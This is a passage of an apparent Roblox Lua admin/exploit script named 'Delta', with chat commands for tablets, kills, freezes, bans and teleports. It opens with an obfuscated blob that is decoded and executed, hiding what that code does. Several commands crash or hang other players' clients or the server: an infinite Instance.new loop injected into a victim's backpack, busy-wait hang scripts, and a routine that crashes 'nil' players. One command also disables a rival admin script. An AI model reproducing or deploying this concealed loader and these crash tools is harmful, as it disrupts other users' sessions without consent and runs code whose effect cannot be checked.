$*^*)$)-?=+^)+)^)))-))$?!=*))=?!~!??~?_&___@+&+))^+!_%_=_^_~#"
- ,"~$#+-+!?^+_+$&%#%$!+)+~_*~__&_&~!$*$($-#!#!$)_=~##^#^##-@*=*^*)*?&*#!?)#*?~_@~(#%?=?&?~&_???^?~?+~@?=?~**&!__~?~)-~*&~)~^?^*!*-*=*!*)*)*%*#()*-(&(#!$!&-+&#&&!%((!*!!--&%_!_=!~!$@$!!!!%%%=%^%&(+_*_#-+-)!@*!-^_@_(-+*)-#-*@?!?!?*-**-#*(-?@=!@*%**!^-^*-*=%?!?!~(_*~(&(=*&@**&(?=+^+=(=()@)%)=)~%)*-($!)(^=@@=!$!&!%!^!*@~%(!&@^(?@-!%^=%@@+@(@#%?!=*)%$%&@(@&+(^-+?))$$###?#^=(@@@+%%@^@@+~^(%&=^@?=-%^+@$&$~^)%!%+#(=$^=%)=&#-=$=?^-=*=#^*^*^+^)#=+*=+^!^*^&?&$?)@^+)%^!?&?$?^?*?^+%)$+-)*)%^_~?!$(?+&+?~#~#_~_&___$#%)^)?+))$+^~-#%+*$$+_$!+$&^&*&=#+#(+?_$#?$$#!$($?$&#~_^&)&@~_$^$*#_#&_#&+?##(_!_#-!--#=#=-%#!???#?%#^?~*#_=#&?)?=?(*~*+*=*-*=&@~+&_~-~@?&(~~#&~&#($($@?@~@&@+-@~=~#&^~+&=(_-@&-_+&&_(&+!=!-!_-$_%&+_?@#_~-*_%_*@+--_@@^_^_-_)@@!!@_@?%=@?($*_*%-=-$-@%!-**!**%-%-^(^!^)*-*#(=^)^~(%*-(?=?)?!$(?!$(-)@@+(#!-(+!%%?@$(~!&!=(%@^(@(_!%(*!?!?!&!%^+%#=^!@!-^%^=!-@_!_))^?!=*%^_)?)*)?!$(*)?!=*%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?!=#=?!==*?++&=*=(=_^!="
- ,"?!)%=%(%##(#=)-=(^?!==^=*^^^^^#?(#_?%=_?!^~^_)!^@^?!$(@)@))??!)%=%(%-?~~&?!?-~_~!$~)_+!)@)&+@+@+^)#&+?@)?+=+@+*&*?_$^+?$)+%&?&+_?$($-$*&&_+##$!$_#_$##=$)$__%?+#%#$?*#)#?#!_--@~_#??#-#(~()~(#@?)#+?!?+~+~^-~&*?~~(~+~-~@?&*&!@~?~^~!*==_=&%*(%*!*=(-===$===?=((!*$(%(@*_(+($(-=%(_=_(#%_(~=^%~%=*!(@*!*=*$()=%*@*=*_($(*($=%(-(^(=*-=-=%(&%=(_*@*!(-=_=~=_(_=!==%!%(%_=!($(@(_=_=_=?=&*~!^%#!_=-=_="
- }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
- ]]
- -- Rotation! --
- TabletRotation = 0
- UpdateTablets = function()
- if Delta.Removed == true then return end
- TabletRotation = TabletRotation==360 and 0 or TabletRotation + 0.0001
- for _, Player in pairs(getALLPlayers()) do
- local PlrTabs = {}
- for i,v in pairs(Delta.Tablets) do
- if v.Tab.Parent ~= nil and v.Plr == Player.Name then
- table.insert(PlrTabs, v)
- end
- end
- for i,v in pairs(PlrTabs) do
- pcall(function()
- local radiusdata = Delta.Ranked[Player.Name].Distance ~= nil and Delta.Ranked[Player.Name].Distance or 5
- local pos = nil
- pcall(function()
- if Player.Character.Parent == Delta.Services.Workspace then
- pos = Player.Character.Torso.CFrame
- end
- end)
- if pos == nil then return end
- local radius = radiusdata + (#PlrTabs * 0.5)
- local x,y,z
- if Delta.Ranked[Player.Name].Rotation == false then
- x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
- y = 0
- z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
- else
- x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
- y = 0
- z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
- end
- local arot = Vector3.new(x,y,z)+pos.p
- local brot = v.Tab.CFrame.p
- local crot = (arot * .1 + brot * .9)
- local drot = math.rad((TabletRotation * 1000) * math.pi)
- v.Tab.CFrame = CFrame.new(crot, pos.p)
- -- v.Tab.Size = Vector3.new(math.cos(time())*9,math.cos(time())*9,math.cos(time())*9)
- if Delta.Ranked[Player.Name].SpinningRot == true then
- v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(drot, drot, drot)
- else
- if Delta.Ranked[Player.Name].MeshType ~= "Books" then
- v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.rad(15),0,0)
- else
- v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.pi/2,0,0)
- end
- end
- end)
- end
- end
- end
- Delta.Services.ReplicatedStorage.DescendantAdded:connect(function(x)
- if x.Name == "Delta" and x:IsA('StringValue') then
- local val = x.Value
- local Split = val:find(':')
- local Name = val:sub(1, #Split - 1)
- local Message = val:sub(#Split + 1)
- local Player = nil
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- if v.Name == Name then return end
- end
- for _,v in pairs(getALLPlayers()) do
- if v.Name == Name then
- Player = v
- end
- end
- onChatted(Player, Message)
- end
- end)
- RunServiceFunction = function()
- pcall(function() Delta.Connections.Loops:disconnect() end)
- Delta.Connections.Loops["Update_Tablets"] = Delta.Services.RunService.Stepped:connect(function()
- UpdateTablets()
- end)
- Delta.Connections.Loops["Etc"] = Delta.Services.RunService.Stepped:connect(function()
- if Delta.PrivateServer.Enabled == false then
- Delta.PrivateServer.Waiting = {}
- end
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- local rankedData = Delta.Ranked[v.Name]
- if v:findFirstChild('PlayerGui') == nil then return end
- if rankedData.CMD == true then
- if v.PlayerGui:findFirstChild("Delta Command Bar") == nil then
- giveCMDBar(v)
- end
- end
- if rankedData.CMD == false then
- if v.PlayerGui:findFirstChild("Delta Command Bar") then
- v.PlayerGui:findFirstChild("Delta Command Bar"):Destroy()
- end
- end
- end
- end)
- end
- RunServiceFunction()
- -- Commands! --
- Command("Force a Command", {"@"}, 0, "Makes Another Player onChatted", nil, function(Speaker,Msg)
- local Split = Msg:find(Delta.Bet)
- local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Message = Msg:sub(Split + 1)
- if #Player > 0 then
- for _,v in pairs(Player) do
- if FindRank(Speaker) > FindRank(v) then
- onChatted(v, Message)
- end
- end
- end
- end)
- Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Player/Rank 4)", function(Speaker, Msg)
- if GetSplit(Msg) == "p" then
- if FindRank(Speaker) >= 4 then
- Msg = Msg:gsub("-p", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Dismiss(v)
- end)
- end
- end
- else
- Output(Speaker, "Your rank is too low to use that flag!", "Really red", nil, 2)
- end
- else
- Dismiss(Speaker)
- end
- end)
- Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
- ShowCommands(Speaker)
- end)
- Command("Insert", {"get", "g"}, 0, "Gets Things", "-b (Base) -c (Clean) -r (Reset) -rl (Reset Lighting) -rj (Rejoin) -fc (Fix Character) -ball (qlqkqzqrd's Ball) -cmd (Command Bar) -nocmd (No Command Bar)", function(Speaker, Msg)
- if GetSplit(Msg) == "r" then
- Speaker:LoadCharacter()
- elseif GetSplit(Msg) == "fc" then
- Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
- Speaker:LoadCharacter()
- elseif GetSplit(Msg) == "c" then
- CleanWorkspace()
- elseif GetSplit(Msg) == "b" then
- CreateBase()
- elseif GetSplit(Msg) == "rl" then
- Debug()
- elseif GetSplit(Msg) == "rj" then
- Delta.Services.TeleportService:Teleport(Delta.Services.Game.PlaceId, Speaker)
- elseif GetSplit(Msg) == "cmd" then
- giveCMDBar(Speaker)
- elseif GetSplit(Msg) == "nocmd" then
- ypcall(function()
- Delta.Ranked[Speaker.Name].CMD = false
- end)
- elseif GetSplit(Msg) == "ball" then
- createLocalScript([[
- wait(0.001);
- _ray=function(v0,v1,i)
- local mag=(v0-v1).magnitude;
- local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
- return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
- end;
- user=game:service'Players'.LocalPlayer;
- backpack=user.Backpack;
- mouse=user:GetMouse();
- char=user.Character;
- torso=char.Torso;
- head=char.Head;
- hum=char:findFirstChild'Humanoid';
- if(not hum or hum.className~='Humanoid')then
- hum=char:children();
- for i=1,#hum do
- if(hum[i].className=='Humanoid')then
- hum=hum[i];
- break;
- end;
- end;
- end;
- repeat until not pcall(function()
- char.ala_ball:Destroy();
- hum.PlatformStand=false;
- end);
- repeat until not pcall(function()
- backpack.ala_ball:Destroy();
- hum.PlatformStand=false;
- end);
- keys={};
- bin=Instance.new('HopperBin',backpack);
- bin.Name='ala_ball';
- script.Parent=bin;
- bin.Selected:connect(function()
- ball=Instance.new'Part';
- ball.Shape=0;
- ball.Friction=10;
- ball.Elasticity=0;
- ball.TopSurface=0;
- ball.formFactor=0;
- ball.BottomSurface=0;
- ball.Transparency=0.5;
- ball.CanCollide=false;
- ball.Color=BrickColor.new(']]..Delta.Ranked[Speaker.Name].Color..[[').Color;
- ball.CFrame=head.CFrame;
- ball.Name='ala_ball';
- ball.Size=Vector3.new(10,10,10);
- ball.Parent=char;
- weld=Instance.new('Weld',ball);
- weld.Part0=ball;
- weld.Part1=head;
- wait(0.001);
- hum.PlatformStand=true;
- ball.CanCollide=true;
- end);
- bin.Deselected:connect(function()
- ball:Destroy();
- ball=nil;
- hum.PlatformStand=false;
- end);
- mouse.KeyDown:connect(function(key)
- keys[key]=true;
- end);
- mouse.KeyUp:connect(function(key)
- keys[key]=false;
- end);
- hum.Changed:connect(function(p)
- if(p=='PlatformStand'and ball)then
- hum.PlatformStand=true;
- end;
- end);
- hum.Died:connect(function()
- ball:Destroy();
- ball=nil;
- bin:Destroy();
- end);
- local jump_time=time();
- game:service'RunService'.Stepped:connect(function()
- if(ball and ball.Parent)then
- if(keys[' ']and jump_time<=time())then
- local hit,pos=_ray(ball.Position-Vector3.new(0,3,0),ball.Position-Vector3.new(0,6,0),char);
- if(hit and hit.CanCollide)then
- jump_time=time()+1;
- ball.Velocity=ball.Velocity+Vector3.new(0,100,0);
- end;
- end;
- if(keys.w or keys.s or keys.a or keys.d and ball.Velocity.magnitude<30)then
- local v=((CFrame.Angles(0,math.rad(90),0)*workspace.CurrentCamera.CoordinateFrame).lookVector*Vector3.new(1,0,1)).unit;
- local speed=ball.Velocity.magnitude;
- speed=speed>30 and 30 or speed;
- v=v+v*speed;
- if(keys.s)then
- v=v*-1;
- end;
- if(keys.d)then
- v=v+workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
- end;
- if(keys.a)then
- v=v-workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
- end;
- ball.RotVelocity=v;
- end;
- end;
- end);
- ]], Speaker.Character)
- end
- end)
- Command("Fix", {"fix"}, 0, "Fixes Things", "-t (Tablets)", function(Speaker, Msg)
- if GetSplit(Msg) == "t" then
- Msg = Msg:gsub("-t", "")
- RunServiceFunction()
- end
- end)
- Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 0, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
- local Split = Msg:find(Delta.Bet)
- local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Rank = tonumber(Msg:sub(Split + 1))
- if #Player > 0 then
- for _,v in pairs(Player) do
- if Rank == nil then Output(Speaker, "That rank is invalid", "Really red", nil, 3) return end
- if Rank < 0 and FindRank(Speaker) < 2 then Output(Speaker, "You cannot set a rank that low.", "Really red", nil, 3) return end
- if FindRank(v) > FindRank(Speaker) then Output(Speaker, "You cannot set a person's rank that is higher than you!", "Really red", nil, 3) return end
- if Rank < FindRank(Speaker) then
- ChangeRank(v, Rank)
- Output(Speaker, "Changed "..v.Name.."'s Rank to "..Rank, "Lime green", nil, 3)
- Output(v, "Your rank has been changed to "..Rank.."!", "Lime green", nil, 3)
- else
- Output(Speaker, "You cannot set a rank higher than you!", "Really red", nil, 3)
- end
- end
- end
- end)
- Command("Get Ranked", {"getranked", "ranked"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
- Dismiss(Speaker)
- if #Msg == 0 then
- GetRankedInterface(Speaker)
- else
- Msg = Msg:lower()
- local Number = 0
- local Table = {}
- for i,v in pairs(Delta.Ranked) do
- if i:lower():find(Msg) then
- ypcall(function()
- table.insert(Table, i)
- Number = Number + 1
- end)
- end
- end
- if Number > 1 then
- for _,v in pairs(Table) do
- Output(Speaker, v, nil, function()
- GetRankedInterface(Speaker, v)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
- end
- else
- for _,v in pairs(Table) do
- GetRankedInterface(Speaker, v)
- end
- end
- end
- end)
- Command("Camera Options", {"camera", "cam"}, 0, "Edits Your Camera", "-r (Remove) -c (Clear) -f (Fix) -fp (First Person)", function(Speaker, Msg)
- local x = [[local cam = workspace.CurrentCamera ]]
- if GetSplit(Msg) == "r" then
- x = x.."cam:remove()"
- elseif GetSplit(Msg) == "c" then
- x = x.."cam:ClearAllChildren()"
- elseif GetSplit(Msg) == "f" then
- x = x.."cam.CameraSubject = game:GetService(\"Players\").LocalPlayer.Character.Humanoid cam:SetRoll(0) game:GetService(\"Players\").LocalPlayer.CameraMode = Enum.CameraMode.Classic"
- elseif GetSplit(Msg) == "fp" then
- x = x.."game:GetService(\"Players\").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson"
- end
- createLocalScript(x, Speaker.Character)
- end)
- Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -bl (Banlist) -r (Ranked) -s (Spam)", function(Speaker, Msg)
- if GetSplit(Msg) == "a" then
- Dismiss(Speaker)
- Msg = Msg:gsub("-a", "")
- for i = 1, 6 do
- Output(Speaker, "AFK")
- end
- Output(Speaker, "Dismiss")
- elseif GetSplit(Msg) == "bl" then
- Dismiss(Speaker)
- Msg = Msg:gsub("-bl", "")
- Output(Speaker, "Banned People:", "Really black")
- for i,v in pairs(Delta.Ranked) do
- if v.Rank < 0 then
- Output(Speaker, i, "Really black")
- end
- end
- elseif GetSplit(Msg) == "s" then
- Msg = Msg:gsub("-s", "")
- local Split = Msg:find(Delta.Bet)
- local Message = Msg:sub(1, Split - 1)
- local Amount = Msg:sub(Split + 1)
- for i = 1, Amount do
- Output(Speaker, Message, "Random")
- end
- else
- if #Msg == 0 then Msg = "Pong!" end
- Msg = string.gsub(Msg, "", "\5")
- Output(Speaker, Msg, "Random")
- end
- end)
- -- Rank 1! --
- Command("Disable CBA", {"remcba", "uncba", "rcba", "baicba"}, 1, "Removes CBA Admin", nil, function(Speaker, Msg)
- local RemoveCBA = Instance.new("StringValue", Delta.Services.Workspace)
- RemoveCBA.Name = "CBA Attachment"
- RemoveCBA.Value = 'CBA.remove = false;'
- end)
- Command("Insert Asset", {"ins", "insert"}, 1, "Inserts A Tool/HopperBin or Hat", nil, function(Speaker, Msg)
- if Msg == "qlq" then
- for _,v in pairs({"127506105","101734094","73232786","95951330"}) do
- Delta.Commands["Insert Asset"].Function(Speaker, v)
- end
- else
- local Item = Delta.Services.InsertService:LoadAsset(tonumber(Msg))
- if Item then
- local Object = Item:GetChildren()[1]
- if Object.className == "Hat" then
- Object.Parent = Speaker.Character
- elseif Object.className == "Tool" or Object.className == "HopperBin" then
- Object.Parent = Speaker.Backpack
- end
- end
- end
- end)
- Command("Nil Support", {"nils", "nilsupport", "connects", "nsupport"}, 1, "Gives Speaker Nil Support", nil, function(Speaker, Msg)
- createLocalScript(NilSupport, Speaker.Character)
- end)
- Command("Pause Server", {"hang"}, 1, "Hangs A Player/Server", "-s (Server)", function(Speaker, Msg)
- if GetSplit(Msg) == "s" then
- Msg = Msg:gsub("-s", "")
- createScript([[
- local tic = tick()
- repeat until tic + ]]..Msg..[[ < tick()
- ]], Delta.Services.Workspace)
- else
- local Split = Msg:find(Delta.Bet)
- local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Time = Msg:sub(Split + 1)
- if #Player > 0 then
- for _,v in pairs(Player) do
- ypcall(function()
- createLocalScript([[
- script.Parent = nil
- local tic = tick()
- repeat until tic + ]]..Time..[[ < tick()
- ]], Player.Character)
- end)
- end
- end
- end
- end)
- Command("Sparkles", {"sparkles"}, 1, "Gives a player sparkles!", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("Sparkles", v.Character.Torso)
- end)
- end
- end
- end)
- Command("Fire", {"fire"}, 1, "Gives a player fire!", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("Fire", v.Character.Torso)
- end)
- end
- end
- end)
- Command("Smoke", {"smoke"}, 1, "Smokes a players!", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("Smoke", v.Character.Torso)
- end)
- end
- end
- end)
- Command("Clone", {"clone"}, 1, "Clones A Player!", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- local Model = v.Character:Clone()
- Model.Parent = game.Workspace
- end)
- end
- end
- end)
- Command("Kill", {"kill"}, 1, "Kills A Player", "-r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
- if GetSplit(Msg) == "r" then
- Msg = Msg:gsub("-r","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v:LoadCharacter()
- end)
- end
- end
- elseif GetSplit(Msg) == "e" then
- Msg = Msg:gsub("-e", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- local e = Instance.new'Explosion'
- e.Parent = Delta.Services.Workspace
- e.BlastRadius = 10
- e.BlastPressure = 10000
- e.Position = v.Character.Torso.Position
- end)
- end
- end
- elseif GetSplit(Msg) == "l" then
- Msg = Msg:gsub("-l", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- if Delta.Connections.Killing[v.Name] then
- return Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
- end
- Delta.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
- v.Character:BreakJoints()
- end)
- v.Character:BreakJoints()
- end)
- end
- end
- elseif GetSplit(Msg) == "ul" then
- Msg = Msg:gsub("-ul", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- if Delta.Connections.Killing[v.Name] then
- Delta.Connections.Killing[v.Name]:disconnect()
- Delta.Connections.Killing[v.Name] = nil
- end
- end)
- end
- end
- elseif GetSplit(Msg) == "w" then
- Msg = Msg:gsub("-w", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = "99e999"
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v.Character:BreakJoints()
- end)
- end
- end
- end
- end)
- Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
- if GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _, v2 in pairs(v.Character:GetChildren()) do
- if v2:IsA("ForceField") then
- v2:remove()
- end
- end
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- end)
- end
- end
- end
- end)
- Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
- if GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for __,vv in pairs(v.Character:GetChildren()) do
- if vv:IsA('Humanoid') then
- vv.Name = 'lal_its_a_humanoid'
- vv.MaxHealth = 100
- vv.Health = 100
- end
- end
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for __,vv in pairs(v.Character:GetChildren()) do
- if vv:IsA('Humanoid') then
- vv.Name = 'lal_its_a_humanoid'
- vv.MaxHealth = math.huge
- end
- end
- end)
- end
- end
- end
- end)
- Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
- if GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("Part") then
- v.Anchored = false
- end
- end
- pcall(function() v.Character.FrozenBlock:remove() end)
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- pcall(function() v.Character.FrozenBlock:remove() end)
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("Part") then
- v.Anchored = true
- end
- end
- local b = Instance.new("Part", v.Character)
- b.Anchored = true
- b.Locked = true
- b.TopSurface, b.BottomSurface = 0,0
- b.Color = BrickColor.new("Light blue").Color
- b.Size = Vector3.new(5,10,5)
- b.Transparency = 0.5
- b.Name = "FrozenBlock"
- b.CFrame = v.Character.Torso.CFrame
- local Weld = Instance.new("Weld", b)
- Weld.Name = "FrozenWeld"
- Weld.Part0 = v.Character.Torso
- Weld.Part1 = b
- end)
- end
- end
- end
- end)
- Command("Change Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
- local Split = Msg:find(Delta.Bet)
- local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Speed = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(Player) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = Speed
- end)
- end
- end)
- Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
- if GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _,c in pairs(v.Character:GetChildren()) do
- if c.ClassName == "Part" then
- c.Transparency = 0
- end
- if c:findFirstChild("face") then
- c.face.Transparency = 0
- end
- if c:findFirstChild("Handle") then
- c.Handle.Transparency = 0
- end
- end
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _,c in pairs(v.Character:GetChildren()) do
- if c.ClassName == "Part" then
- c.Transparency = 1
- end
- if c:findFirstChild("face") then
- c.face.Transparency = 1
- end
- if c:findFirstChild("Handle") then
- c.Handle.Transparency = 1
- end
- end
- end)
- end
- end
- end
- end)
- Command("Explorer", {"explore", "explorer"}, 1, "Explores the Game", "No Flags", function(Speaker, Msg)
- Explorer(Speaker)
- end)
- Command("Players", {"players", "plrs"}, 1, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
- if GetSplit(Msg) == "n" then
- Dismiss(Speaker)
- local Number_Of_Nils = 0
- for _,v in pairs(getALLPlayers()) do
- if v.Parent ~= Delta.Services.Players then
- Number_Of_Nils = Number_Of_Nils + 1
- Output(Speaker, "Crash "..v.Name.."?", nil, function()
- Dismiss(Speaker)
- local x = Instance.new("StringValue", Delta.Services.Lighting)
- x.Name = "Disconnect: "..v.Name
- coroutine.resume(coroutine.create(function()
- wait(0.5)
- if x.Name == "Disconnected: "..v.Name then
- Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
- else
- Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
- end
- end))
- end)
- end
- end
- if Number_Of_Nils == 0 then
- return Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
- end
- Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
- Output(Speaker, "Shutdown Nils?", "New Yeller", function()
- for _,v in pairs(getALLPlayers()) do
- if v.Parent ~= Delta.Services.Players then
- local x = Instance.new("Model", Delta.Services.Workspace)
- local y = Instance.new("Part", x)
- y.Transparency = 1
- y.CanCollide = false
- y.Anchored = true
- y.Name = "Torso"
- y.Position = Vector3.new(10000,10000,10000)
- local z = Instance.new("Humanoid",x)
- z.Torso = y
- v.Character = x
- createLocalScript([[repeat until false]], v.Character)
- end
- end
- end)
- Output(Speaker, "Dismiss")
- else
- ShowPlayers(Speaker)
- end
- end)
- -- Rank 2! --
- Command("Jail", {"jail"}, 2, "Jails A Player", "-u (UnJail)", function(Speaker,Msg)
- if GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = getPlayer(Speaker, Msg)
- for _,v in pairs(Players) do
- ypcall(function()
- local x = Instance.new('StringValue',v)
- x.Name = 'Delta'
- x.Value = 'Disable Jail'
- Delta.Services.Debris:AddItem(x,2)
- end)
- end
- else
- local Players = getPlayer(Speaker, Msg)
- for _,v in pairs(Players) do
- ypcall(function()
- createLocalScript(JailInjection, v.Character)
- end)
- end
- end
- end)
- Command("Kick", {"kick", "leave", "bai", "kk", "dc"}, 2, "Kicks A Player", "-b (Banish) -c (Crash) -n (Nil) -r (Rejoin) -cl (Crash Lag)",function(Speaker, Msg)
- if GetSplit(Msg) == "b" then
- if FindRank(Speaker) < 3 then
- return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
- end
- Msg = Msg:gsub("-b","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- ChangeRank(v, -1)
- pcall(function() v.Character.Humanoid.Walkspeed = 99e9999 end)
- wait(.3)
- v:Kick()
- end)
- end
- end
- elseif GetSplit(Msg) == "r" then
- Msg = Msg:gsub("-r","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Delta.Services.TeleportService:Teleport(game.PlaceId, v)
- end)
- end
- end
- elseif GetSplit(Msg) == "c" then
- Msg = Msg:gsub("-c","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- createLocalScript([[for i=1, 1/0 do Instance.new("ManualSurfaceJointInstance") end]], v:waitForChild("Backpack"))
- end)
- end
- end
- elseif GetSplit(Msg) == "n" then
- Msg = Msg:gsub("-n","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v.Parent = nil
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- v:Kick()
- end)
- end
- end
- end
- end)
- Command("Teleport", {"teleport", "tele", "tp"}, 2, "Teleports A Player To Another Player", function(Speaker,Msg)
- if GetSplit(Msg) == "p" then
- Msg = Msg:gsub("-p", "")
- local Split = Msg:find(Delta.Bet)
- local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
- local Numbers = Msg:sub(Split + 1)
- if Numbers == "oxsb" then
- Numbers = "20279777"
- elseif Numbers == "qlqsb" then
- Numbers = "54194680"
- elseif Numbers == "anasb" then
- Numbers = "14578699"
- end
- if #Player > 0 then
- for _,v in pairs(Player) do
- ypcall(function()
- createLocalScript([[game:GetService("TeleportService"):Teleport(']]..Numbers..[[')]], v:waitForChild("Backpack"))
- end)
- end
- end
- else
- local Split = Msg:find(Delta.Bet)
- local Player1 = getPlayer(Speaker,Msg:sub(1, Split - 1))
- local Player2 = getPlayer(Speaker,Msg:sub(Split + 1))
- if #Player1 > 0 or #Player2 > 0 then
- for _,v in pairs(Player1) do
- for _,v2 in pairs(Player2) do
- ypcall(function()
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
- end)
- end
- end
- end
- end
- end)
- Command("Mute", {"mute"}, 2, "Mutes A Player", "-b (Banish) -u (UnMute)", function(Speaker, Msg)
- if GetSplit(Msg) == "b" then
- if FindRank(Speaker) < 3 then
- return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
- end
- Msg = Msg:gsub("-b","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- ChangeRank(v, -1)
- createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
- end)
- end
- end
- elseif GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)]], v:waitForChild("Backpack"))
- end)
